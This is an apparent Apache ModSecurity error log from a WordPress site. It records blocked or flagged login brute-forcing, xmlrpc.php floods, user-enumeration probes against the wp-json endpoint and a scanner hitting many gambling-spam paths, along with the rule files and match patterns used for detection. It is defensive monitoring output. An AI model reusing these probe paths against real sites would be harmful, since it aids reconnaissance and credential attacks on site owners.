[Tue May 26 04:05:56.990879 2026] [:error] [pid 55988:tid 56002] [client 3.20.226.232:48222] [client 3.20.226.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.20.226.232, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSrpP3kVIz2sql52scsFAAAAQs"]
[Tue May 26 04:05:58.716003 2026] [:error] [pid 55988:tid 56007] [client 3.20.226.232:48222] [client 3.20.226.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.20.226.232, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSrpv3kVIz2sql52scsGwAAARA"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 04:27:31.587521 2026] [:error] [pid 55988:tid 55992] [client 104.243.44.205:45622] [client 104.243.44.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.243.44.205, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSws_3kVIz2sql52sc0agAAAQE"]
[Tue May 26 04:27:35.894637 2026] [:error] [pid 55988:tid 55994] [client 104.243.44.205:45622] [client 104.243.44.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.243.44.205, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSwt_3kVIz2sql52sc0lQAAAQM"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 04:50:24.201280 2026] [:error] [pid 20026:tid 20098] [client 14.225.71.169:48868] [client 14.225.71.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.225.71.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahS2EDXIXIr-5BZ8nR7UXAAAAIY"]
[Tue May 26 04:50:25.763636 2026] [:error] [pid 20026:tid 20114] [client 14.225.71.169:48868] [client 14.225.71.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.225.71.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahS2ETXIXIr-5BZ8nR7UXwAAAJY"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 05:04:25.532854 2026] [:error] [pid 55988:tid 56004] [client 135.181.62.37:42728] [client 135.181.62.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.181.62.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahS5Wf3kVIz2sql52sdFzgAAAQ0"]
[Tue May 26 05:04:27.201423 2026] [:error] [pid 55988:tid 55997] [client 135.181.62.37:42728] [client 135.181.62.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.181.62.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahS5W_3kVIz2sql52sdF0gAAAQY"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 05:18:39.933568 2026] [:error] [pid 20026:tid 20096] [client 43.156.232.190:33076] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahS8rzXIXIr-5BZ8nR7buQAAAIQ"]
[Tue May 26 05:28:31.751225 2026] [:error] [pid 20026:tid 20097] [client 58.251.94.5:50254] [client 58.251.94.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 58.251.94.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahS-_zXIXIr-5BZ8nR7dvgAAAIU"]
[Tue May 26 05:28:34.127614 2026] [:error] [pid 20026:tid 20096] [client 58.251.94.5:50254] [client 58.251.94.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 58.251.94.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahS_AjXIXIr-5BZ8nR7dwgAAAIQ"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 06:31:44.534007 2026] [:error] [pid 20025:tid 20073] [client 43.153.36.110:48438] [client 43.153.36.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahTN0H7k8Vts-JPOkgWsWgAAAEg"]
[Tue May 26 06:42:33.695861 2026] [:error] [pid 20025:tid 20080] [client 51.83.9.109:45354] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "ahTQWX7k8Vts-JPOkgWuvQAAAE8"]
[Tue May 26 06:42:35.595724 2026] [:error] [pid 55988:tid 56002] [client 51.83.9.109:38596] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "ahTQW_3kVIz2sql52sdwSgAAAQs"]
[Tue May 26 06:42:37.474923 2026] [:error] [pid 20024:tid 20043] [client 51.83.9.109:38598] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ahTQXVdk7QtxEB93NpcTwAAAAAU"]
[Tue May 26 06:42:39.540485 2026] [:error] [pid 20026:tid 20099] [client 51.83.9.109:38600] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ahTQXzXIXIr-5BZ8nR7xLwAAAIc"]
[Tue May 26 06:42:41.576540 2026] [:error] [pid 20024:tid 20048] [client 51.83.9.109:38614] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ahTQYVdk7QtxEB93NpcTwwAAAAo"]
[Tue May 26 06:42:43.629031 2026] [:error] [pid 20024:tid 20040] [client 51.83.9.109:54110] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ahTQY1dk7QtxEB93NpcTyQAAAAI"]
[Tue May 26 06:42:45.711023 2026] [:error] [pid 20026:tid 20094] [client 51.83.9.109:54126] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ahTQZTXIXIr-5BZ8nR7xOAAAAII"]
[Tue May 26 06:42:47.612179 2026] [:error] [pid 55988:tid 56013] [client 51.83.9.109:54130] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ahTQZ_3kVIz2sql52sdwcAAAARY"]
[Tue May 26 06:42:49.512061 2026] [:error] [pid 55988:tid 55997] [client 51.83.9.109:54138] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ahTQaf3kVIz2sql52sdwewAAAQY"]
[Tue May 26 06:42:51.400393 2026] [:error] [pid 20024:tid 20053] [client 51.83.9.109:54148] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ahTQa1dk7QtxEB93NpcT0QAAAA8"]
[Tue May 26 06:42:53.289086 2026] [:error] [pid 20026:tid 20106] [client 51.83.9.109:45232] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ahTQbTXIXIr-5BZ8nR7xQQAAAI4"]
[Tue May 26 06:42:55.336315 2026] [:error] [pid 20125:tid 20132] [client 51.83.9.109:45248] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ahTQb9k9jeWERFDLJc6QBwAAAMU"]
[Tue May 26 06:42:57.225969 2026] [:error] [pid 20024:tid 20062] [client 51.83.9.109:45256] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ahTQcVdk7QtxEB93NpcT2AAAABg"]
[Tue May 26 06:42:59.114760 2026] [:error] [pid 55988:tid 56010] [client 51.83.9.109:45264] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "ahTQc_3kVIz2sql52sdwmQAAARM"]
[Tue May 26 06:43:00.999549 2026] [:error] [pid 20026:tid 20097] [client 51.83.9.109:45266] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "ahTQdDXIXIr-5BZ8nR7xTgAAAIU"]
[Tue May 26 06:43:03.015987 2026] [:error] [pid 55988:tid 56009] [client 51.83.9.109:48374] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "ahTQd_3kVIz2sql52sdwqQAAARI"]
[Tue May 26 06:43:04.903388 2026] [:error] [pid 20125:tid 20135] [client 51.83.9.109:48380] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "ahTQeNk9jeWERFDLJc6QFwAAAMg"]
[Tue May 26 06:43:06.945707 2026] [:error] [pid 20125:tid 20129] [client 51.83.9.109:48388] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "ahTQetk9jeWERFDLJc6QGgAAAMI"]
[Tue May 26 06:43:08.813167 2026] [:error] [pid 55988:tid 56012] [client 51.83.9.109:48402] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "ahTQfP3kVIz2sql52sdwrAAAARU"]
[Tue May 26 06:43:10.848055 2026] [:error] [pid 20024:tid 20051] [client 51.83.9.109:48418] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ahTQfldk7QtxEB93NpcT5wAAAA0"]
[Tue May 26 06:43:12.731457 2026] [:error] [pid 20025:tid 20086] [client 51.83.9.109:50948] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ahTQgH7k8Vts-JPOkgWu1wAAAFU"]
[Tue May 26 06:43:14.753851 2026] [:error] [pid 20024:tid 20039] [client 51.83.9.109:50954] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "ahTQgldk7QtxEB93NpcT7gAAAAE"]
[Tue May 26 06:43:16.624066 2026] [:error] [pid 20026:tid 20095] [client 51.83.9.109:50960] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "ahTQhDXIXIr-5BZ8nR7xXgAAAIM"]
[Tue May 26 06:43:18.657710 2026] [:error] [pid 20026:tid 20114] [client 51.83.9.109:50974] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "ahTQhjXIXIr-5BZ8nR7xYQAAAJY"]
[Tue May 26 06:43:20.535800 2026] [:error] [pid 55988:tid 56011] [client 51.83.9.109:50978] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ahTQiP3kVIz2sql52sdwuQAAARQ"]
[Tue May 26 06:43:22.565662 2026] [:error] [pid 20026:tid 20107] [client 51.83.9.109:55312] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ahTQijXIXIr-5BZ8nR7xaAAAAI8"]
[Tue May 26 06:43:24.438444 2026] [:error] [pid 20024:tid 20040] [client 51.83.9.109:55322] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ahTQjFdk7QtxEB93NpcT_AAAAAI"]
[Tue May 26 06:43:26.456871 2026] [:error] [pid 55988:tid 56000] [client 51.83.9.109:55334] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ahTQjv3kVIz2sql52sdwygAAAQk"]
[Tue May 26 06:43:28.477277 2026] [:error] [pid 20024:tid 20056] [client 51.83.9.109:55346] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "ahTQkFdk7QtxEB93NpcUAAAAABI"]
[Tue May 26 07:09:52.221998 2026] [:error] [pid 20026:tid 20114] [client 217.154.239.191:46138] [client 217.154.239.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.154.239.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahTWwDXIXIr-5BZ8nR75YwAAAJY"]
[Tue May 26 07:09:53.873444 2026] [:error] [pid 20026:tid 20107] [client 217.154.239.191:46138] [client 217.154.239.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.154.239.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahTWwTXIXIr-5BZ8nR75ZQAAAI8"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 07:44:36.259759 2026] [:error] [pid 20026:tid 20095] [client 18.183.129.171:53438] [client 18.183.129.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.183.129.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahTe5DXIXIr-5BZ8nR4C-wAAAIM"]
[Tue May 26 07:44:39.030126 2026] [:error] [pid 20026:tid 20100] [client 18.183.129.171:53438] [client 18.183.129.171] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahTe5zXIXIr-5BZ8nR4C_gAAAIg"]
[Tue May 26 07:44:40.963849 2026] [:error] [pid 20026:tid 20112] [client 18.183.129.171:53438] [client 18.183.129.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.183.129.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahTe6DXIXIr-5BZ8nR4DBwAAAJQ"]
[Tue May 26 07:44:43.291393 2026] [:error] [pid 20125:tid 20144] [client 18.183.129.171:60128] [client 18.183.129.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.183.129.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahTe69k9jeWERFDLJc6l6AAAANE"]
[Tue May 26 07:44:45.593045 2026] [:error] [pid 20025:tid 20086] [client 18.183.129.171:62128] [client 18.183.129.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.183.129.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahTe7X7k8Vts-JPOkgXDowAAAFU"]
[Tue May 26 07:44:47.831502 2026] [:error] [pid 20026:tid 20103] [client 18.183.129.171:64591] [client 18.183.129.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.183.129.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahTe7zXIXIr-5BZ8nR4DGgAAAIs"]
[Tue May 26 07:44:50.117949 2026] [:error] [pid 20025:tid 20072] [client 18.183.129.171:50193] [client 18.183.129.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.183.129.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahTe8n7k8Vts-JPOkgXDqwAAAEc"]
[Tue May 26 07:44:50.118151 2026] [:error] [pid 20025:tid 20072] [client 18.183.129.171:50193] [client 18.183.129.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 18.183.129.171, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahTe8n7k8Vts-JPOkgXDqwAAAEc"]
[Tue May 26 07:57:27.918833 2026] [:error] [pid 20024:tid 20041] [client 82.223.49.31:44118] [client 82.223.49.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.223.49.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahTh51dk7QtxEB93Npch_QAAAAM"]
[Tue May 26 07:57:48.674607 2026] [:error] [pid 20025:tid 20080] [client 82.223.49.31:54578] [client 82.223.49.31] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/me"] [unique_id "ahTh_H7k8Vts-JPOkgXK0QAAAE8"]
[Tue May 26 08:31:09.904646 2026] [:error] [pid 20026:tid 20112] [client 188.40.90.168:40540] [client 188.40.90.168] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/me"] [unique_id "ahTpzTXIXIr-5BZ8nR4N1wAAAJQ"]
[Tue May 26 08:57:53.339437 2026] [:error] [pid 55988:tid 56006] [client 103.27.200.76:50632] [client 103.27.200.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.27.200.76, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahTwEf3kVIz2sql52semOwAAAQ8"]
